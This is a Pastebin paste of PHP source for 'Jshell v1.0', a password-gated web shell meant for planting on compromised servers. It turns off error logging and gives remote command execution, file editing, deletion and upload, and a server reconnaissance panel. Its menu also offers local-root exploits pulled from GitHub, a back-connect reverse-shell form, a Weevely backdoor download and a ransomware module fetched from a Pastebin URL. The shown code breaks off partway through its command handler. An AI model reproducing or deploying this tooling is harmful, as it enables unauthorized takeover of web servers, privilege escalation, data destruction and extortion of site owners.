Advertisement
shutdown57

Jshell

Apr 17th, 2018
695
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 28.13 KB | None | 0 0
  1. <?php
  2. /**
  3. * [ Jshell v1.0 - 2018. ]
  4. *
  5. * @author shutdown57 ( alinko ) < alinkokomansuby@gmail.com >
  6. * @version 1.0 2018
  7. * @link page  : https://facebook.com/fp.javcode
  8. * @link group : https://facebook.com/groups/jc.javcode
  9. * @see https://github.com/alintamvanz ( alintamvanz )
  10. * @see https://pastebin.com/u/shutdown57 ( shutdown57 )
  11. * @copyright &copy; 2018 JavCode.
  12. *
  13. **/
  14. $config = [
  15.         'title' => 'Jshell v1.0', // set title name.
  16.     'debug' => true, // if debug true is any error showed.
  17.         'icon' => 'http://alintamvanz.github.io/jshell/javcode-grey.png',
  18.     'src_jquery' => 'http://alintamvanz.github.io/jshell/jquery.js',
  19.     'src_datatables' => 'http://alintamvanz.github.io/jshell/jquery.dataTables.js',
  20.     'src_style' => 'http://alintamvanz.github.io/jshell/style-js.css',
  21. ];
  22.  
  23. Class Jshell{
  24.     public $menubar;
  25.   public $src_link;
  26.   public $password;
  27.  public function __construct()
  28.  {
  29.     /** The script started here. **/
  30. $this->password = 'jshellv1';
  31.  
  32. if($config['debug'] === true)
  33.   { error_reporting(-1); }else{ error_reporting(0); }
  34. error_log(0);
  35. session_start();
  36. ob_start();
  37. set_time_limit(0);
  38. @ini_set('error_log',NULL);
  39. @ini_set('log_errors',0);
  40. @ini_set('max_execution_time',0);
  41. @ini_set('output_buffering',0);
  42. @ini_set('display_errors', 0);
  43.  
  44. // login authetication
  45. if(empty($_SESSION['jshell']))
  46. {
  47.   echo "<center><h3>Jshellv1 - 2018</h3><form method=post><input type=password name=passw placeholder=password><input type=submit value=Go></form></center>";
  48.   if(isset($_POST['passw']))
  49.   {
  50.     if($_POST['passw'] == $this->password)
  51.     {
  52.       $_SESSION['jshell'] = true;
  53.       echo "<meta http-equiv=refresh content=0;url=?jshell=welcome>";
  54.     }
  55.   }
  56.   exit;
  57. }
  58.  
  59.   $GLOBALS['getfullpath'] = (empty($_GET['jshell_path'])) ? getcwd() : $_GET['jshell_path'];
  60.   @chdir($GLOBALS['getfullpath']);
  61.   $baselink = "?jshell_path=".$GLOBALS['getfullpath']."&jshell_act=";
  62.     $this->menubar = [
  63.     'Home' => $_SERVER['PHP_SELF'],
  64.     'Upload' => $baselink.'upl',
  65.   'Command' => $baselink.'cmd',
  66.   'Localroot' => $baselink.'lc',
  67.   'Back Connect' => $baselink.'net',
  68.   'Weevely' => $baselink.'wev',
  69.   'Ransomware' => $baselink.'rans',];
  70.  
  71.   $this->src_link = [
  72.     'adminer' => '',
  73.     'weevely' => 'https://raw.githubusercontent.com/alintamvanz/alintamvanz.github.io/master/jshell/Jweevely.php',
  74.     'mailer' => '',
  75.     'lc' => [
  76.       'dirty' => 'https://github.com/alintamvanz/localroot/raw/master/dirtycow-mem',
  77.       'c0w' => 'https://github.com/alintamvanz/localroot/raw/master/c0w',
  78.       'cowroot' => 'https://github.com/alintamvanz/localroot/raw/master/cowroot',
  79.     ],
  80.     'ransomware' => 'https://pastebin.com/raw/JfzDnXK3',
  81.   ];
  82.  
  83.  
  84. }
  85.  public function Jcmd($cmd) {
  86. if(function_exists('system')) {    
  87.     @ob_start();    
  88.     @system($cmd);    
  89.     $exect = @ob_get_contents();    
  90.     @ob_end_clean();    
  91.     return $exect;  
  92.   } elseif(function_exists('exec')) {    
  93.     @exec($cmd,$results);    
  94.     $exect = "";    
  95.     foreach($results as $result) {      
  96.       $exect .= $result;    
  97.     } return $exect;  
  98.   } elseif(function_exists('passthru')) {    
  99.     @ob_start();    
  100.     @passthru($cmd);    
  101.     $exect = @ob_get_contents();    
  102.     @ob_end_clean();    
  103.     return $exect;  
  104.   } elseif(function_exists('shell_exec')) {    
  105.     $exect = @shell_exec($cmd);    
  106.     return $exect;  
  107.   }
  108. }
  109. public function Jgetgrowif()
  110. {
  111.   if(!function_exists('posix_getegid')) {
  112.     $user = @get_current_user();
  113.     $uid = @getmyuid();
  114.     $gid = @getmygid();
  115.     $group = "?";
  116.   } else {
  117.     $uid = @posix_getpwuid(posix_geteuid());
  118.     $gid = @posix_getgrgid(posix_getegid());
  119.     $user = $uid['name'];$uid = $uid['uid'];
  120.     $group = $gid['name'];$gid = $gid['gid'];
  121.   }
  122.   $r = ['user' => $user,'uid' => $uid,'group' => $group,'gid' => $gid];
  123.   return $r;
  124. }
  125.  public function Jserverinfo()
  126.  {
  127.   $mysql = (function_exists('mysql_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  128.   $mysqli = (function_exists('mysqli_connect')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  129.   $wget = ($this->Jcmd('wget --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  130.   $curl = (function_exists('curl_init')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  131.   $perl = ($this->Jcmd('perl --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  132.   $python = ($this->Jcmd('python --help')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  133.   $bash = ($this->Jcmd('bash --version')) ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  134.   $gcc = ($this->Jcmd('gcc --help')) ? "<font color=lime>YES</font>" :"<font color=red>NO</font>";
  135.   $sm = (ini_get('safe_mode') == 'on') ? "<font color=lime>YES</font>" : "<font color=red>NO</font>";
  136.   $df = (ini_get('disable_functions')) ? wordwrap(ini_get('disable_functions'),100,"\n",true) : "<font color=red>NO !</font>";
  137.   $sysfo = [
  138.     'hostname' => $_SERVER['HTTP_HOST'],
  139.     'system' => php_uname(),
  140.     'phpv' => phpversion(),
  141.     'software' => $_SERVER['SERVER_SOFTWARE'],
  142.     'ipserver' => gethostbyname($_SERVER['HTTP_HOST']),
  143.     'ipclient' => $_SERVER['REMOTE_ADDR'],
  144.     'mysql' => $mysql,
  145.     'mysqli' => $mysqli,
  146.     'wget' => $wget,
  147.     'curl' => $curl,
  148.     'perl' => $perl,
  149.     'python' => $python,
  150.     'bash' => $bash,
  151.     'gcc' => $gcc,
  152.     'safemode' => $sm,
  153.     'disafunc' => $df];
  154.     return $sysfo;
  155.  }
  156.  public function Jcurdir($path,$goto){
  157.   $dir = str_replace("\\","/",$path);
  158.   $dir = explode("/",$dir);
  159.   foreach($dir as $o=>$i){
  160.     if($i == "" && $o == 0){
  161.       echo "<a href=\"javascript:menuklik('?".$goto."=/')\">/</a>";continue;}
  162.       if($i == "")continue;
  163.       echo "<a href=\"javascript:menuklik('?".$goto."=";
  164.       for($p=0;$p<=$o;$p++){
  165.         echo $dir[$p]; if($p != $o){
  166.           echo "/";} } echo "')\">".$i."</a>/";}
  167.           if(is_writable($path)){echo "- [<b><font color=lime>W</font></b>]";}elseif(is_readable($path)){echo "- [<b><font color=red>R</font></b>]";}else{echo "- [<b><font color=grey>Unknown</font></b>]<meta http-equiv='refresh' content='4;url=?'>";}}
  168.  public function Jcaller($url,$name)
  169.  {
  170. $fp = fopen($name,"w");
  171. $co = file_get_contents($url);
  172. return fwrite($fp,$co);
  173. fclose($fp);
  174.  }
  175.  public function Jheader($config = array())
  176.  {
  177.     ?>
  178.     <!DOCTYPE html>
  179.     <html>
  180.     <head>
  181.         <title><?=$config['title'];?> [<?=$_SERVER['HTTP_HOST'];?>]</title>
  182.         <meta charset="utf-8">
  183.         <meta name="author" content="shutdown57">
  184.         <link rel="icon" type="text/css" href="<?=$config['icon'];?>">
  185.         <script type="text/javascript" src="<?=$config['src_jquery'];?>"></script>
  186.         <script type="text/javascript" src="<?=$config['src_datatables'];?>"></script>
  187.         <!-- <link rel="stylesheet" type="text/css" href="valid/assets/css/w3.css"> -->
  188.     <link rel="stylesheet" type="text/css" href="<?=$config['src_style'];?>">
  189.         <script type="text/javascript">
  190.             function select_all(pilih)
  191.             {
  192.                 var cek = document.getElementsByName('pilih[]');
  193.                 for (var i =0; n=cek.length;i++) {
  194.                     cek[i].checked = pilih.checked;
  195.                 }
  196.             }
  197.         function logout()
  198.         {
  199.           $.ajax({
  200.             url:'?jshell_act=logout',
  201.             success:function(e)
  202.             {
  203.               alert('Bye Boyz!');
  204.               window.location.href='';
  205.             }
  206.           });
  207.         }
  208.         function menuklik(uri)
  209.         {
  210.           $('.right').html("<img src='https://dfw.ink/images/loading_gif.gif' style='width:50px;height:50px;'>");
  211.           history.pushState(null,null,uri);
  212.           $.ajax({
  213.             url:uri,
  214.             success:function(e)
  215.             {
  216.               $('body').html(e);
  217.             },error:function(e)
  218.             {
  219.               alert('Something wrong :D '+e);
  220.             }
  221.           });
  222.         }
  223.         function rename(dir,file)
  224.         {
  225.           var newname = prompt('New name');
  226.           if(newname != null){
  227.             window.location.href='?jshell_path='+dir+'&jshell_file='+file+'&n='+newname+'&jshell_act=ren';
  228.           }else{
  229.             alert('Nama file masih kosong');
  230.           }
  231.         }
  232.         function hs(l,p)
  233.         {
  234.           document.getElementById(l).style.display='none';
  235.           document.getElementById(p).style.display='block';
  236.         }
  237.         function gotodir(dir)
  238.         {
  239.           var dire = $(dir).val();
  240.           $.ajax({
  241.             url:'?jshell_path='+dire,
  242.             success:function(e)
  243.             {
  244.               $('body').html(e);
  245.               history.pushState(null,null,'?jshell_path='+dire);
  246.             },error:function(e)
  247.             {
  248.               alert('error '+e);
  249.             }
  250.           });
  251.         }
  252.             $(document).ready(function()
  253.             {
  254.         $('body').hide().fadeIn(500);
  255.                 $('#filemanager').DataTable({
  256.                     'bSort':false,
  257.                 });
  258.             });
  259.         </script>
  260.     </head>
  261.     <body onload="faded(this)">
  262.         <div class="w3-container">
  263.  
  264.         <header>
  265.       <div class="right"></div>
  266.             <table class="table" style="width: 98%;margin: 0 auto;border-left: 1px dashed #eee;border-right: 1px dashed #f00;border-top: 1px dashed #f00;border-bottom: 1px dashed #eee;">
  267.                 <tr><td style="width: 200px;" class="kiri"><center><img src="https://s19.postimg.cc/jcxygcm1v/javcode-grey.png" style="max-width: 170px;max-height:170px;" ><p><?=$config['title'];?> | by : JavCode.</p></center></td><td>
  268. <pre>
  269. System : <?=$this->Jserverinfo()['system'];?> [Exploit-DB] [Search Localroot]
  270. Hostname : <?=$this->Jserverinfo()['hostname'];?> | Safe Mode : <?=$this->Jserverinfo()['safemode'];?> .
  271. Server Software : <?=$this->Jserverinfo()['software'];?>.
  272. PHP Version : <?=$this->Jserverinfo()['phpv'];?> - [<a href="javascript:menuklik('?jshell_path=<?=$GLOBALS[getfullpath]?>&jshell_act=phpinfo');">phpinfo</a>] [<a href="javascript:menuklik('?jshell_path=<?=dirname(php_ini_loaded_file());?>&jshell_file=<?=basename(php_ini_loaded_file());?>&jshell_act=view');">php.ini</a>]
  273. IP Server : <?=$this->Jserverinfo()['ipserver'];?> | IP Client : <?=$this->Jserverinfo()['ipclient'];?>.
  274. HDD : 31.89 / 180.16 GB | [ Free : 148.27 GB ]
  275. User : <?=$this->Jgetgrowif()['user'];?> [<?=$this->Jgetgrowif()['uid'];?>] || Group : <?=$this->Jgetgrowif()['group'];?> [<?=$this->Jgetgrowif()['gid'];?>]
  276. MySQL : <?=$this->Jserverinfo()['mysql'];?> | MySQLi : <?=$this->Jserverinfo()['mysqli'];?> | Wget : <?=$this->Jserverinfo()['wget'];?> | CURL : <?=$this->Jserverinfo()['curl'];?> | Perl : <?=$this->Jserverinfo()['perl'];?> | Python : <?=$this->Jserverinfo()['python'];?> | Bash : <?=$this->Jserverinfo()['bash'];?> | GCC ( compiler ) : <?=$this->Jserverinfo()['gcc'];?>.
  277. Disable functions : <?=$this->Jserverinfo()['disafunc'];?>
  278.           </pre>
  279.         </td>
  280.       </tr>
  281.     </table>
  282.     <div style="margin-left:10px;margin: 4px;">
  283.     <div id="cd">
  284.         <a href="javascript:hs('cd','dc');">Current dir</a> ::  <?= $this->Jcurdir($GLOBALS['getfullpath'],'jshell_path');?>
  285.     </div>
  286.     <div id="dc" style="display: none;">
  287.         <label>Go to dir :: </label>
  288.         <input type="text" id="gtd" value="<?=$GLOBALS['getfullpath'];?>" class="input_m"><input type="button" value=">>" onclick="gotodir('#gtd')" class="submit_m">
  289.     </div>
  290.   </div>
  291.       <ul align=center>
  292.  <?php
  293.  foreach($this->menubar as $menu=>$link){
  294.   echo '<li>{ <a href="#" onclick="menuklik(\''.$link.'\');" >'.$menu.'</a> }</li>';
  295.     }
  296.     ?>
  297.   {<a href="#" onclick="logout()"><font color=red>Logout</font></a>}
  298.   </ul>
  299.         </header><br/><br/>
  300.         <h1></h1>
  301.     <?php
  302.  }
  303.  public function Jsdir($dir)
  304.  {
  305.      // Check if scandir() exist in server.
  306.     if(function_exists('scandir'))
  307.     {
  308.         $s = scandir($dir);
  309.     }
  310.     return $s;
  311.  }
  312.  public function Jgetfsize($files) // function for get file size.
  313.  {
  314.     $size = filesize($files)/1024;
  315.     $size = round($size,3);
  316.     if($size > 1024){
  317.         $size = round($size/1024,2). 'MB';
  318.     } else {
  319.         $size = $size. 'KB';}
  320.         return $size;
  321.  }
  322.  public function Jgetmime($files) // function for get mime content type
  323.  {
  324.     if(function_exists('mime_content_type'))
  325.     {
  326.         if(is_readable($files)){
  327.         $mime =mime_content_type($files);
  328.         }else{
  329.         $mime = "Unknown";
  330.         }
  331.     }else{
  332.         if(is_file($files))
  333.         {
  334.             $mime = "Files";
  335.         }elseif (is_dir($files)) {
  336.             $mime = "Directory";
  337.         }else{
  338.             $mime = "Unknown";
  339.         }
  340.     }
  341.     return $mime;
  342.  }
  343.  public function Jvf($f){
  344.   $file = wordwrap(file_get_contents($f),150,"\n",true);
  345.   $a= highlight_string($file,true);
  346.   $old = array("0000BB","000000","FF8000","DD0000", "007700");
  347.   $new = array("F73D80","e1e1e1", "05f6fa", "F9FF00" , "1dff1b");
  348.   $a= str_ireplace($old,$new, $a);
  349.   $result = "<div class=\"code\">";$result .= $a;$result.="</div>";
  350.   return $result;}
  351.  public function Jdel($dir){
  352.   if(is_dir($dir)){
  353.     if(!rmdir($dir)){
  354.       $s=scandir($dir);
  355.       foreach ($s as $ss) {
  356.         if(is_file($dir."/".$ss)){
  357.           if(unlink($dir."/".$ss)){
  358.             $rm=rmdir($dir);
  359.           }
  360.         }
  361.         if(is_dir($dir."/".$ss)){
  362.           $rm=rmdir($dir."/".$ss);
  363.           $rm.=rmdir($dir);
  364.         }
  365.       }
  366.   }elseif(is_file($dir)){
  367.     $rm = unlink($dir);
  368.   }
  369. }elseif(is_file($dir))
  370. {
  371.   $rm = unlink($dir);
  372. }
  373. return $rm;
  374. }
  375.  public function Jupl($a,$b){
  376.   if(function_exists('move_uploaded_file')){
  377.     $upl = move_uploaded_file($a,$b);
  378.   }elseif (function_exists('copy')) {
  379.     $upl = copy($a,$b);
  380.   }
  381.     return $upl;
  382.   }
  383.   public function array_upload($file){
  384.     $file_ary = array();
  385.     $file_count = count($file['name']);
  386.      $file_key = array_keys($file);
  387.      for($i=0;$i<$file_count;$i++) {
  388.       foreach($file_key as $val) {
  389.         $file_ary[$i][$val] = $file[$val][$i];
  390.       }
  391.     }
  392.     return $file_ary;
  393.   }
  394.  public function Jgetdmod($files) // function for get date modified.
  395.  {
  396.     $a_fdm=@date("d-m-Y H:i:s", filemtime($files));
  397.     return $a_fdm;
  398.  }
  399.  public function Jgetowner($path){
  400.     if(function_exists('posix_getpwuid')) {
  401.         $downer = @posix_getpwuid(fileowner($path));
  402.         $downer = $downer['name'];
  403.     } else {
  404.         $downer = fileowner($path);
  405.     }
  406.     return $downer;
  407.  }
  408.  public function Jgetgroup($path){
  409.     if(function_exists('posix_getgrgid')) {
  410.         $dgrp = @posix_getgrgid(filegroup($path));
  411.         $dgrp = $dgrp['name'];
  412.     } else {
  413.         $dgrp = filegroup($path);
  414.     }
  415.     return $dgrp;}
  416.   public function Jwrite($fname,$content)
  417.   {
  418.     $fp = fopen($fname,'w');
  419.     fwrite($fp,$content);
  420.     fclose($fp);
  421.   }
  422.  public function Jgetperms($file){
  423.     $perms = fileperms($file);
  424.     if (($perms & 0xC000) == 0xC000) {
  425.         $info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info;}
  426.  
  427.     public function Jgetact($dir,$file)
  428.     {
  429.         $act_files = [
  430.             '<big><big>&times;</big></big>' => '?jshell_path='.$dir.'&jshell_file='.$file.'&jshell_act=del',
  431.             '<big><big>&#9998;</big></big>' => '?jshell_path='.$dir.'&jshell_file='.$file.'&jshell_act=edit',
  432.       '<big><big>&Downarrow;</big></big>' => '?jshell_path='.$dir.'&jshell_file='.$file.'&jshell_act=dl',
  433.                 ];
  434.         $act_dirs = [
  435.             '<big>&times;</big>' => '?jshell_path='.$dir.'&jshell_act=del',
  436.             ];
  437.         $a ='| ';
  438.         if(is_file($dir.'/'.$file))
  439.         {
  440.             foreach($act_files as $val=>$link)
  441.             {
  442.         $getap = explode("jshell_act=",$link);
  443.         $getap= $getap[1];
  444.         $title = str_replace(['ren','del','edit','dl'],['rename file : '.$file,'delete file : '.$file,'edit file : '.$file,'download file : '.$file],$getap);
  445.                 $a.= '<a href="#" onclick="menuklik(\''.$link.'\')" title="'.$title.'">'.$val.'</a> | ';
  446.             }
  447.       $a.= '<a href="#" onclick="rename(\''.$dir.'\',\''.$file.'\')" title="rename file : '.$file.'"><big><big>&sqsube;</big></big></a> | ';
  448.         }elseif(is_dir($dir.'/'.$file))
  449.         {
  450.             foreach($act_dirs as $val=>$link)
  451.             {$getap = explode("jshell_act=",$link);
  452.         $getap= $getap[1];
  453.         $title = str_replace(['ren','del','edit','dl'],['rename file : '.$file,'delete file : '.$file,'edit file : '.$file,'download file : '.$file],$getap);
  454.                 $a.= '<a href="#" onclick="menuklik(\''.$link.'\')" title="'.$title.'">'.$val.'</a> | ';
  455.             }
  456.       $a.= '<a href="#" onclick="rename(\''.$dir.'\',\''.$file.'\')" title="rename dir : '.$file.'"><big><big>&sqsube;</big></big></a> | ';
  457.         }
  458.         return $a;
  459.     }
  460.   public function Jtitle($text)
  461.   {
  462.     echo "<center><h3 class=\"titleac\">..:: ".$text." ::..</h3></center><br/>";
  463.   }
  464.  public function Jfileman($path)
  465.  {
  466.     ?>
  467.   <form method="post">
  468.     <table class="a_exp" id="filemanager">
  469.         <thead>
  470.             <tr><th><input type="checkbox" name="pilih[]" onclick="select_all(this)"></th>
  471.                 <th>Files</th>
  472.                 <th>Size</th>
  473.                 <th>Type</th>
  474.                 <th>Date Modif</th>
  475.                 <th>Owner:Group</th>
  476.                 <th>Permission</th>
  477.                 <th>Action</th>
  478.             </tr>
  479.         </thead>
  480.         <tbody>
  481.             <tr><td></td><td><a href="#" onclick="menuklik('?jshell_path=<?=dirname($GLOBALS['getfullpath']);?>')"><< Parent directory</a></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>
  482.             <?php
  483.             /* Scan directory in server */
  484.             $sdirs = $this->Jsdir($path);
  485.             foreach($sdirs as $sd)
  486.             {if(is_file($path.'/'.$sd)||$sd == '.'||$sd == '..')continue;
  487.                 ?><tr>
  488.                     <td><input type="checkbox" name="pilih[]" value="<?=$path.'/'.$sd;?>"></td>
  489.                     <td><a href="#" onclick="menuklik('?jshell_path=<?=$path.'/'.$sd;?>')"><?=$sd;?></a></td>
  490.                     <td><?=$this->Jgetfsize($path.'/'.$sd);?></td>
  491.                     <td><?=$this->Jgetmime($path.'/'.$sd);?></td>
  492.                     <td><?=$this->Jgetdmod($path.'/'.$sd);?></td>
  493.                     <td><?=$this->Jgetowner($path.'/'.$sd);?>:<?=$this->Jgetgroup($path.'/'.$sd);?></td>
  494.                     <td><?=$this->Jgetperms($path.'/'.$sd);?></td>
  495.                     <td><?=$this->Jgetact($path,$sd);?></td>
  496.  
  497.                 </tr>
  498.                 <?php
  499.             }
  500.             /* scan files in server */
  501.             $sfile = $this->Jsdir($path);
  502.             foreach($sfile as $sf)
  503.             {if(is_dir($path.'/'.$sf)||$sf == '.'||$sf == '..')continue;
  504.                 ?><tr>
  505.                     <td><input type="checkbox" name="pilih[]" value="<?=$path.'/'.$sf;?>"></td>
  506.                     <td><a href="#" onclick="menuklik('?jshell_path=<?=$path;?>&jshell_file=<?=$sf;?>&jshell_act=view')"><?=$sf;?></a></td>
  507.                     <td><?=$this->Jgetfsize($path.'/'.$sf);?></td>
  508.                     <td><?=$this->Jgetmime($path.'/'.$sf);?></td>
  509.                     <td><?=$this->Jgetdmod($path.'/'.$sf);?></td>
  510.                     <td><?=$this->Jgetowner($path.'/'.$sf);?>:<?=$this->Jgetgroup($path.'/'.$sf);?></td>
  511.                     <td><?=$this->Jgetperms($path.'/'.$sf);?></td>
  512.                     <td><?=$this->Jgetact($path,$sf);?></td>
  513.  
  514.                 </tr>
  515.                 <?php
  516.             }
  517.             ?>
  518.         </tbody>
  519.     </table><div style="clear: both; margin-bottom:69px"></div><table style="bottom: 0;left: 0;position: fixed;"><tr><td>
  520.         Actions</td><td><select name="actionx" class="input_m">
  521.           <option>----[ action ]----</option>
  522.           <option value="delete">Delete</option>
  523.           <?php
  524.           if(empty($_SESSION['cfile'])){
  525.             ?>
  526.           <option value="copy">Copy</option>
  527.           <?php
  528.             }else{
  529.               ?><option value="paste">Paste</option><?php
  530.             }
  531.             ?>
  532.         </select><input type="submit" name="sac" value=">>" class="submit_m">
  533.   </td></tr></table>
  534. </form>
  535.     <?php
  536.   if(isset($_POST['sac']))
  537.   {
  538.     if($_POST['actionx'] == 'delete')
  539.     {
  540.       foreach($_POST['pilih'] as $dfil)
  541.       {
  542.         if($this->Jdel($dfil))
  543.            echo "<meta http-equiv='refresh' content='0;url=?jshell_path=".$GLOBALS[getfullpath]."'>";
  544.          else
  545.            echo "<meta http-equiv='refresh' content='0;url=?jshell_path=".$GLOBALS[getfullpath]."'>";
  546.       }
  547.     }elseif($_POST['actionx'] == 'copy')
  548.     {
  549.       $_SESSION['cfile'] = $_POST['pilih'];
  550.       echo "<meta http-equiv='refresh' content='0;url=?jshell_path=".$GLOBALS[getfullpath]."'>";
  551.     }elseif($_POST['actionx'] == 'paste')
  552.     {
  553.       foreach($_SESSION['cfile'] as $paste)
  554.       {
  555.         copy($paste,$GLOBALS['getfullpath'].'/'.basename($paste));
  556.       }
  557.       unset($_SESSION['cfile']);
  558.     echo "<meta http-equiv='refresh' content='0;url=?jshell_path=".$GLOBALS[getfullpath]."'>";
  559.     }
  560.   }
  561.  }
  562.  
  563.  public function Jshell_act($type,$text = null)
  564.  {
  565.   if($type == 'cmd')
  566.   {
  567.     ?>
  568.     <form method="post">
  569.     <label>jshellv1.0 ~ $</label>
  570.     <input type="text" name="cmd" class="input_m" style="width: 500px;"><input type="submit" name="exec" value=">>" class="submit_m">
  571.     </form>
  572.     <?php
  573.   }elseif($type == 'upl')
  574.   {
  575.     ?>
  576.     <center>
  577.     <form method="post" enctype="multipart/form-data">
  578.       <label>Select file ::</label>
  579.       <input type="file" name="jfilez[]" class="input_m" multiple="">
  580.       <label>Upload to ::</label>
  581.       <input type="text" name="jdirz" value="<?=$GLOBALS['getfullpath'];?>" class="input_m"><input type="submit" name="upload" value="Upload !" class="submit_m">
  582.     </form>
  583.   </center>
  584.     <?php
  585.   }elseif ($type == 'edit') {
  586.     ?>
  587.     <center>
  588.       <form method="post">
  589.         <textarea class="txtarea_m" name="editfile"><?=$text;?></textarea>
  590.         <br/>
  591.         <input type="submit" name="save" value="Save" class="submit_m" style="padding: 10px;width: 200px;cursor: pointer;">
  592.       </form>
  593.     </center>
  594.     <?php
  595.   }elseif($type == 'lc')
  596.   {
  597.     ?>
  598.     <center>
  599.       <form method="get" action="https://google.com/search" target="_blank">
  600.         <label for="q">Search on google</label>
  601.         <input type="text" name="q" placeholder="Search exploit" class="input_m">
  602.         <input type="submit" value=">>" class="submit_m">
  603.       </form>
  604.       <br>
  605.       [<a href="javascript:menuklik('?jshell_path=<?=$_GET['jshell_path'];?>&jshell_act=c0w');">c0w</a>]
  606.       [<a href="javascript:menuklik('?jshell_path=<?=$_GET['jshell_path'];?>&jshell_act=cowroot');">cowroot</a>]
  607.       [<a href="javascript:menuklik('?jshell_path=<?=$_GET['jshell_path'];?>&jshell_act=dirtycow-mem');">dirty-mem</a>]
  608.       [<a href="https://exploit-db.com/local/" target="_blank">localroot ex-db</a>]
  609.     </center>
  610.     <?php
  611.   }elseif($type == 'bc')
  612.   {
  613.     ?><center>
  614.       <form method="post">
  615.         <label for="ip">IP </label>
  616.         <input type="text" name="ip" class="input_m" value="<?=$_SERVER['REMOTE_ADDR'];?>">
  617.         <label for="port">Port</label>
  618.         <input type="text" name="port" class="input_m" value="5758">
  619.         <input type="submit" name="sbmt" value=">>" class="submit_m">
  620.       </form>
  621.     </center>
  622.     <?php
  623.   }
  624.  }
  625.  
  626. }
  627.  
  628.  
  629. $js = new Jshell;
  630.  
  631. $js->Jheader($config);
  632. if(empty($_GET['jshell_act']))
  633. {
  634.     $js->Jfileman($GLOBALS['getfullpath']);
  635. }else{
  636.   //000000000000000000000000000000
  637.   $jfilez = @$_GET['jshell_file'];
  638.   $jpaptt = @$_GET['jshell_path'];
  639.   //000000000000000000000000000000
  640.   if($_GET['jshell_act'] == 'del')
  641.   {
  642.     $delt = (empty($jfilez)) ? $jpaptt : $jpaptt.'/'.$jfilez;
  643.     if($js->Jdel($delt)){
  644.     echo "<b> Successfully deleted files ~ </b>";
  645.     echo "<meta http-equiv='refresh' content='2;url=?jshell_path=".$jpaptt."'>";
  646.     }else{
  647.       echo $delt."<br/>";
  648.       echo "<b> Failed delete files ~ </b>";
  649.     echo "<meta http-equiv='refresh' content='2;url=?jshell_path=".$jpaptt."'>";
  650.    
  651.     }
  652.   }elseif ($_GET['jshell_act'] == 'ren') {
  653.     $fold = $jpaptt.'/'.$jfilez;
  654.     $fnew = $jpaptt.'/'.$_GET['n'];
  655.     if(@rename($fold,$fnew))
  656.     {
  657.     echo "<b> Successfully rename files ~ </b>";
  658.     echo "<meta http-equiv='refresh' content='2;url=?jshell_path=".$jpaptt."'>";
  659.     }else{
  660.     echo "<b> Failed rename files ~ </b>";
  661.     echo "<meta http-equiv='refresh' content='2;url=?jshell_path=".$jpaptt."'>";
  662.     }
  663.  
  664.   }
  665. elseif($_GET['jshell_act'] == 'edit')
  666. {
  667.   $baselink = '?jshell_path='.$jpaptt.'&jshell_file='.$jfilez.'&jshell_act=';
  668.   $js->Jtitle('Edit file');
  669.    echo "<ul>Files :<b> ".$jfilez."</b> | Owner:group : <b>".$js->Jgetowner($jpaptt.'/'.$jfilez).":".$js->Jgetgroup($jpaptt.'/'.$jfilez)."</b> | Permission : <b>".$js->Jgetperms($jpaptt.'/'.$jfilez)."</b> | Date modified : <b>".$js->Jgetdmod($jpaptt.'/'.$jfilez)."</b> | Action :: <li>[<a href=\"javascript:menuklik('".$baselink."edit')\">Edit</a>]</li><li>[<a href=\"javascript:menuklik('".$baselink."del')\">Delete</a>]</li><li>[<a href=\"javascript:rename('".$jpaptt."','".$jfilez."')\">Rename</a>]</li><li>[<a href=\"javascript:menuklik('".$baselink."dl')\">Download</a>]</li></ul>";
  670.   $js->Jshell_act('edit',htmlspecialchars(file_get_contents($jpaptt.'/'.$jfilez)));
  671.   if(isset($_POST['save']))
  672.   {
  673.     $fp = $jpaptt.'/'.$jfilez;
  674.     $content = $_POST['editfile'];
  675.     if($js->Jwrite($fp,$content))
  676.     {
  677.        echo "<b> Successfully Edit files ~ </b>";
  678.     }else{
  679.       echo "<b>Failed Edit files ~ </b>";
  680.     }
  681.   }
  682. }
  683.   elseif ($_GET['jshell_act'] == 'view') {
  684.     $js->Jtitle('View file');
  685.     $baselink = '?jshell_path='.$jpaptt.'&jshell_file='.$jfilez.'&jshell_act=';
  686.     echo "<ul>Files :<b> ".$jfilez."</b> | Owner:group : <b>".$js->Jgetowner($jpaptt.'/'.$jfilez).":".$js->Jgetgroup($jpaptt.'/'.$jfilez)."</b> | Permission : <b>".$js->Jgetperms($jpaptt.'/'.$jfilez)."</b> | Date modified : <b>".$js->Jgetdmod($jpaptt.'/'.$jfilez)."</b> | Action :: <li>[<a href=\"javascript:menuklik('".$baselink."edit')\">Edit</a>]</li><li>[<a href=\"javascript:menuklik('".$baselink."del')\">Delete</a>]</li><li>[<a href=\"javascript:rename('".$jpaptt."','".$jfilez."')\">Rename</a>]</li><li>[<a href=\"javascript:menuklik('".$baselink."dl')\">Download</a>]</li></ul>";
  687.    echo $js->Jvf($jpaptt.'/'.$jfilez);
  688.   }
  689.   elseif($_GET['jshell_act'] == 'logout')
  690.   {
  691.    session_destroy();
  692.   }elseif ($_GET['jshell_act'] == 'cmd') {
